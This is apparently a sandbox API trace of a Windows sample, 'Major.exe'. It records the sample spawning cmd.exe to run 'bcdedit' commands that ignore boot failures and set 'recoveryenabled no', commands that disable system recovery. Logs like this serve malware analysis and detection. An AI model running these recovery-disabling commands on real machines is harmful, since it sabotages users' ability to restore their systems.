lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x93897feb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x93897feb00) returned 0xffffffffffffffff [0087.304] GetLastError () returned 0x2 [0087.304] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.304] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x93897feb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x93897feb00) returned 0x1e931a518e0 [0087.305] GetProcessHeap () returned 0x1e931a50000 [0087.305] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x0, Size=0x28) returned 0x1e931a51940 [0087.305] FindClose (in: hFindFile=0x1e931a518e0 | out: hFindFile=0x1e931a518e0) returned 1 [0087.305] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x93897feb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x93897feb00) returned 0xffffffffffffffff [0087.305] GetLastError () returned 0x2 [0087.305] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x93897feb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x93897feb00) returned 0x1e931a518e0 [0087.305] GetProcessHeap () returned 0x1e931a50000 [0087.305] RtlReAllocateHeap (Heap=0x1e931a50000, Flags=0x0, Ptr=0x1e931a51940, Size=0x8) returned 0x1e931a51940 [0087.305] FindClose (in: hFindFile=0x1e931a518e0 | out: hFindFile=0x1e931a518e0) returned 1 [0087.305] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0087.305] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0087.305] ??_V@YAXPEAX@Z () returned 0x1 [0087.305] GetConsoleTitleW (in: lpConsoleTitle=0x93897ff080, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.344] InitializeProcThreadAttributeList (in: lpAttributeList=0x93897fefa0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x93897fee90 | out: lpAttributeList=0x93897fefa0, lpSize=0x93897fee90) returned 1 [0087.345] UpdateProcThreadAttribute (in: lpAttributeList=0x93897fefa0, dwFlags=0x0, Attribute=0x60001, lpValue=0x93897fee7c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x93897fefa0, lpPreviousValue=0x0) returned 1 [0087.345] GetStartupInfoW (in: lpStartupInfo=0x93897fef30 | out: lpStartupInfo=0x93897fef30*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0087.345] GetProcessHeap () returned 0x1e931a50000 [0087.345] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x20) returned 0x1e931a518e0 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0087.345] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0087.346] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0087.346] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0087.346] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0087.346] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.346] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.346] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0087.346] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0087.346] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0087.346] GetProcessHeap () returned 0x1e931a50000 [0087.346] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a518e0) returned 1 [0087.346] GetProcessHeap () returned 0x1e931a50000 [0087.346] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x12) returned 0x1e931a58880 [0087.346] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0087.347] _get_osfhandle (_FileHandle=1) returned 0xc [0087.347] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0087.365] _get_osfhandle (_FileHandle=0) returned 0x8 [0087.365] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0087.370] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x93897feec0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} bootstatuspolicy ignoreallfailures", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x93897fee98 | out: lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x93897fee98*(hProcess=0x9c, hThread=0x98, dwProcessId=0xd74, dwThreadId=0xbe4)) returned 1 [0089.790] CloseHandle (hObject=0x98) returned 1 [0089.790] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0089.790] GetProcessHeap () returned 0x1e931a50000 [0089.790] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a59430) returned 1 [0089.790] GetEnvironmentStringsW () returned 0x1e931a59430* [0089.790] GetProcessHeap () returned 0x1e931a50000 [0089.790] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xb7e) returned 0x1e931a55f40 [0089.790] FreeEnvironmentStringsA (penv="=") returned 1 [0089.790] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0091.406] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x93897fee18 | out: lpExitCode=0x93897fee18*=0x0) returned 1 [0091.406] CloseHandle (hObject=0x9c) returned 1 [0091.406] _vsnwprintf (in: _Buffer=0x93897fefe8, _BufferCount=0x13, _Format="%08X", _ArgList=0x93897fee28 | out: _Buffer="00000000") returned 8 [0091.407] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0091.407] GetProcessHeap () returned 0x1e931a50000 [0091.407] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a55f40) returned 1 [0091.407] GetEnvironmentStringsW () returned 0x1e931a588a0* [0091.407] GetProcessHeap () returned 0x1e931a50000 [0091.407] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xba4) returned 0x1e931a6a020 [0091.407] FreeEnvironmentStringsA (penv="=") returned 1 [0091.407] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0091.407] GetProcessHeap () returned 0x1e931a50000 [0091.407] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a6a020) returned 1 [0091.408] GetEnvironmentStringsW () returned 0x1e931a588a0* [0091.408] GetProcessHeap () returned 0x1e931a50000 [0091.408] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xba4) returned 0x1e931a6a020 [0091.408] FreeEnvironmentStringsA (penv="=") returned 1 [0091.408] GetProcessHeap () returned 0x1e931a50000 [0091.408] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a58880) returned 1 [0091.408] DeleteProcThreadAttributeList (in: lpAttributeList=0x93897fefa0 | out: lpAttributeList=0x93897fefa0) [0091.408] ??_V@YAXPEAX@Z () returned 0x1 [0091.408] _get_osfhandle (_FileHandle=1) returned 0xc [0091.408] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0091.413] _get_osfhandle (_FileHandle=1) returned 0xc [0091.413] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0091.416] _get_osfhandle (_FileHandle=0) returned 0x8 [0091.416] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0091.418] _get_osfhandle (_FileHandle=0) returned 0x8 [0091.418] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0091.420] SetConsoleInputExeNameW () returned 0x1 [0091.420] GetConsoleOutputCP () returned 0x1b5 [0091.421] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0091.421] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.424] exit (_Code=0) Thread: id = 23 os_tid = 0xa60 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x642d000" os_pid = "0xac8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xdc4" cmd_line = "/C bcdedit /set {default} recoveryenabled no" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 13 os_tid = 0xbb4 [0086.604] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a7ec0000 [0086.604] __set_app_type (_Type=0x1) [0086.604] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a7ed6d00) returned 0x0 [0086.604] __getmainargs (in: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210, _DoWildCard=0, _StartInfo=0x7ff6a7ef921c | out: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210) returned 0 [0086.604] _onexit (_Func=0x7ff6a7ed7fd0) returned 0x7ff6a7ed7fd0 [0086.604] _onexit (_Func=0x7ff6a7ed7fe0) returned 0x7ff6a7ed7fe0 [0086.604] _onexit (_Func=0x7ff6a7ed7ff0) returned 0x7ff6a7ed7ff0 [0086.604] _onexit (_Func=0x7ff6a7ed8000) returned 0x7ff6a7ed8000 [0086.605] _onexit (_Func=0x7ff6a7ed8010) returned 0x7ff6a7ed8010 [0086.643] _onexit (_Func=0x7ff6a7ed8020) returned 0x7ff6a7ed8020 [0086.643] GetCurrentThreadId () returned 0xbb4 [0086.643] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbb4) returned 0x7c [0086.643] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0086.644] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0086.644] SetThreadUILanguage (LangId=0x0) returned 0x409 [0086.891] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.891] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xa9ad6ffd18 | out: phkResult=0xa9ad6ffd18*=0x0) returned 0x2 [0086.892] VirtualQuery (in: lpAddress=0xa9ad6ffd04, lpBuffer=0xa9ad6ffc80, dwLength=0x30 | out: lpBuffer=0xa9ad6ffc80*(BaseAddress=0xa9ad6ff000, AllocationBase=0xa9ad600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.892] VirtualQuery (in: lpAddress=0xa9ad600000, lpBuffer=0xa9ad6ffc80, dwLength=0x30 | out: lpBuffer=0xa9ad6ffc80*(BaseAddress=0xa9ad600000, AllocationBase=0xa9ad600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.892] VirtualQuery (in: lpAddress=0xa9ad601000, lpBuffer=0xa9ad6ffc80, dwLength=0x30 | out: lpBuffer=0xa9ad6ffc80*(BaseAddress=0xa9ad601000, AllocationBase=0xa9ad600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.892] VirtualQuery (in: lpAddress=0xa9ad604000, lpBuffer=0xa9ad6ffc80, dwLength=0x30 | out: lpBuffer=0xa9ad6ffc80*(BaseAddress=0xa9ad604000, AllocationBase=0xa9ad600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.892] VirtualQuery (in: lpAddress=0xa9ad700000, lpBuffer=0xa9ad6ffc80, dwLength=0x30 | out: lpBuffer=0xa9ad6ffc80*(BaseAddress=0xa9ad700000, AllocationBase=0xa9ad700000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.892] GetConsoleOutputCP () returned 0x1b5 [0086.914] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0086.914] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a7ee8150, Add=1) returned 1 [0086.914] _get_osfhandle (_FileHandle=1) returned 0xc [0086.914] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc04 | out: lpMode=0x7ff6a7effc04) returned 1 [0086.940] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.940] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc00 | out: lpMode=0x7ff6a7effc00) returned 1 [0086.953] _get_osfhandle (_FileHandle=1) returned 0xc [0086.953] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0086.957] _get_osfhandle (_FileHandle=1) returned 0xc [0086.957] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0086.963] _get_osfhandle (_FileHandle=1) returned 0xc [0086.963] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0086.969] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.969] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0086.982] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.982] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0087.039] GetEnvironmentStringsW () returned 0x2a4280c5af0* [0087.039] GetProcessHeap () returned 0x2a4280c0000 [0087.039] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xb2e) returned 0x2a4280c6630 [0087.039] FreeEnvironmentStringsA (penv="A") returned 1 [0087.039] GetProcessHeap () returned 0x2a4280c0000 [0087.039] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x8) returned 0x2a4280c5af0 [0087.039] GetEnvironmentStringsW () returned 0x2a4280c7170* [0087.039] GetProcessHeap () returned 0x2a4280c0000 [0087.040] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xb2e) returned 0x2a4280c7cb0 [0087.040] FreeEnvironmentStringsA (penv="A") returned 1 [0087.040] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa9ad6febc8 | out: phkResult=0xa9ad6febc8*=0x88) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x0, lpData=0xa9ad6febe0*=0x4, lpcbData=0xa9ad6febc4*=0x1000) returned 0x2 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x4, lpData=0xa9ad6febe0*=0x1, lpcbData=0xa9ad6febc4*=0x4) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x0, lpData=0xa9ad6febe0*=0x1, lpcbData=0xa9ad6febc4*=0x1000) returned 0x2 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x4, lpData=0xa9ad6febe0*=0x0, lpcbData=0xa9ad6febc4*=0x4) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x4, lpData=0xa9ad6febe0*=0x40, lpcbData=0xa9ad6febc4*=0x4) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x4, lpData=0xa9ad6febe0*=0x40, lpcbData=0xa9ad6febc4*=0x4) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x0, lpData=0xa9ad6febe0*=0x40, lpcbData=0xa9ad6febc4*=0x1000) returned 0x2 [0087.040] RegCloseKey (hKey=0x88) returned 0x0 [0087.040] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa9ad6febc8 | out: phkResult=0xa9ad6febc8*=0x88) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x0, lpData=0xa9ad6febe0*=0x40, lpcbData=0xa9ad6febc4*=0x1000) returned 0x2 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x4, lpData=0xa9ad6febe0*=0x1, lpcbData=0xa9ad6febc4*=0x4) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x0, lpData=0xa9ad6febe0*=0x1, lpcbData=0xa9ad6febc4*=0x1000) returned 0x2 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x4, lpData=0xa9ad6febe0*=0x0, lpcbData=0xa9ad6febc4*=0x4) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x4, lpData=0xa9ad6febe0*=0x9, lpcbData=0xa9ad6febc4*=0x4) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x4, lpData=0xa9ad6febe0*=0x9, lpcbData=0xa9ad6febc4*=0x4) returned 0x0 [0087.040] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa9ad6febc0, lpData=0xa9ad6febe0, lpcbData=0xa9ad6febc4*=0x1000 | out: lpType=0xa9ad6febc0*=0x0, lpData=0xa9ad6febe0*=0x9, lpcbData=0xa9ad6febc4*=0x1000) returned 0x2 [0087.040] RegCloseKey (hKey=0x88) returned 0x0 [0087.041] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccd3bba [0087.041] srand (_Seed=0x5ccd3bba) [0087.041] GetCommandLineW () returned="/C bcdedit /set {default} recoveryenabled no" [0087.041] malloc (_Size=0x4000) returned 0x2a4282c55a0 [0087.041] GetCommandLineW () returned="/C bcdedit /set {default} recoveryenabled no" [0087.041] malloc (_Size=0xffce) returned 0x2a4281c0080 [0087.041] ??_V@YAXPEAX@Z () returned 0x2a4281c0080 [0087.042] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2a4281c0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.042] malloc (_Size=0xffce) returned 0x2a4281d0060 [0087.042] ??_V@YAXPEAX@Z () returned 0x2a4281d0060 [0087.042] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2a4281d0060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0087.043] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.043] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.043] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.043] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0087.043] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0087.043] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0087.043] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0087.043] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0087.043] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0087.043] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0087.043] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0087.043] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0087.043] GetProcessHeap () returned 0x2a4280c0000 [0087.043] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c6630) returned 1 [0087.043] GetEnvironmentStringsW () returned 0x2a4280c5b10* [0087.043] GetProcessHeap () returned 0x2a4280c0000 [0087.043] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xb46) returned 0x2a4280c6660 [0087.043] FreeEnvironmentStringsA (penv="A") returned 1 [0087.043] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0087.043] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.043] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0087.044] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0087.044] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0087.044] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0087.044] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0087.044] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0087.044] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0087.044] _wcsicmp (_String1="KEYS", 